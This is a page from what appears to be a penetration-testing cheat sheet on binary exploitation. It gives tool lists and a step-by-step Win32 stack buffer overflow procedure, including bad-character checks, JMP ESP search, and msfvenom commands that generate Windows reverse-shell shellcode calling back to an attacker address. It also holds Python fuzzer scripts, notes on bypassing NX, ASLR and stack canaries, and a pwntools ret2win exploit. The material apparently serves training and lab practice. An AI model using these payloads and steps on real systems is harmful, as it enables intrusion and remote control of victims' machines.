Pentest Book
Search…
Exploiting

Basics

1
**Tools**
2
https://github.com/apogiatzis/gdb-peda-pwndbg-gef
3
* gdb-peda
4
* gdb-gef
5
* pwndbg
6
* radare2
7
* ropper
8
* pwntools
9
10
# Web compiler
11
https://www.godbolt.org/
Copied!
1
# Check protections:
2
checksec binary
3
rabin2 -I ret2win32
4
5
# Functions
6
rabin2 -i
7
8
# Strings
9
rabin2 -z ret2win32
Copied!

BOF Basic Win32

1
1. Send "A"*1024
2
2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH
3
3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip"
4
4. Confirm the location with "B" and "C"
5
5. Check for badchars instead CCCC (ESP):
6
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
7
with script _badchars.py and
8
"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
9
5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
10
a. !mona config -set workingfolder c:\logs\%p
11
b. !mona bytearray -b "\x00\x0d"
12
c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
13
d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
14
e. In " data", before unicode chars it shows badchars.
15
6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"
16
17
6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
18
6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f
19
20
21
7. Generate shellcode and place it:
22
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"
23
24
msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode
25
26
8. Final buffer like:
27
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
28
29
############## sample 1 ################################################
30
#!/usr/bin/python
31
32
import socket,sys
33
34
if len(sys.argv) != 3:
35
print("usage: python fuzzer.py 10.11.1.111 PORT")
36
exit(1)
37
38
payload = "A" * 1000
39
40
ipAddress = sys.argv[1]
41
port = int(sys.argv[2])
42
43
try:
44
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45
s.connect((ipAddress, port))
46
s.recv(1024)
47
print "Sending payload"
48
s.send(payload)
49
print "Done"
50
s.close()
51
except:
52
print "Error"
53
sys.exit(0)
54
55
############## sample 2 ################################################
56
#!/usr/bin/python
57
import time, struct, sys
58
import socket as so
59
60
try:
61
server = sys.argv[1]
62
port = 5555
63
except IndexError:
64
print "[+] Usage %s host" % sys.argv[0]
65
sys.exit()
66
67
req1 = "AUTH " + "\x41"*1072
68
s = so.socket(so.AF_INET, so.SOCK_STREAM)
69
try:
70
s.connect((server, port))
71
print repr(s.recv(1024))
72
s.send(req1)
73
print repr(s.recv(1024))
74
except:
75
print "[!] connection refused, check debugger"
76
s.close()
Copied!

Protections bypasses

1
# NX - Execution protection
2
- Ret2libc
3
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
4
https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833
5
-ROP
6
7
# ASLR - Random library positions
8
- Memory leak to Ret2libc
9
- ROP
10
11
# Canary - Hex end buffer
12
https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085
13
- Value leak
14
- Brute force
15
- Format Strings: https://owasp.org/www-community/attacks/Format_string_attack
Copied!

ROP

1
checksec
2
3
# Listing functions imported from shared libraries is simple:
4
rabin2 -i
5
6
# Strings
7
rabin2 -z
8
9
# Relocations
10
rabin2 -R
11
12
# Listing just those functions written by the programmer is harder, a rough approximation could be:
13
rabin2 -qs | grep -ve imp -e ' 0 '
14
15
RADARE2
16
------------------------------------------
17
r2 -AAA binary # Analyze with radare2
18
afl # list functions
19
pdf @ funcion # dissassemble function to check what instruction pointer want to reach
20
iz # Strings
21
is # Symbols
22
px 48 @ 0x00601060 # Hex dump address
23
dcu 0x00400809 # Breakpoint
24
“press s” # Continue over breakpoint
25
/R pop rdi # Search instruction
26
/a pop rdi,ret # Search
27
28
GDB
29
------------------------------------------
30
gdb-gef binary
31
pattern create 200
32
pattern search “lalal”
33
r # run
34
c # continue
35
s # step
36
si # step into
37
b *0x0000000000401850 # Add breakpoint
38
ib # Show breakpoints
39
d1 # Remove breakpoint 1
40
d # Remove breakpoint
41
info functions # Check functions
42
x/s 0x400c2f # Examine address x/<(Mode)Format> Format:s(tring)/x(hex)/i(nstruction) Mode:l/w
43
44
45
ROPGadget
46
------------------------------------------
47
https://github.com/JonathanSalwan/ROPgadget
48
ROPgadget --binary callme32 --only "mov|pop|ret"
49
50
Ropper
51
------------------------------------------
52
ropper --file callme32 --search "pop"
53
54
readelf -S binary # Check writable locations
55
56
x32
57
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
58
+---------+------+------+------+------+------+------+
59
| %eax | %ebx | %ecx | %edx | %esi | %edi | %ebp |
60
61
x64
62
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
63
+---------+------+------+------+------+------+------+
64
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
65
66
EXAMPLE
67
------------------------------------------
68
69
from pwn import *
70
71
# Set up pwntools to work with this binary
72
elf = context.binary = ELF('ret2win')
73
io = process(elf.path)
74
gdb.attach(io)
75
info("%#x target", elf.symbols.ret2win)
76
77
ret2win = p64(elf.symbols["ret2win"])
78
payload = "A"*40 + ret2win
79
io.sendline(payload)
80
io.recvuntil("Here's your flag:")
81
82
# Get our flag!
83
flag = io.recvall()
84
success(flag)
Copied!
Last modified 1yr ago
Export as PDF
Copy link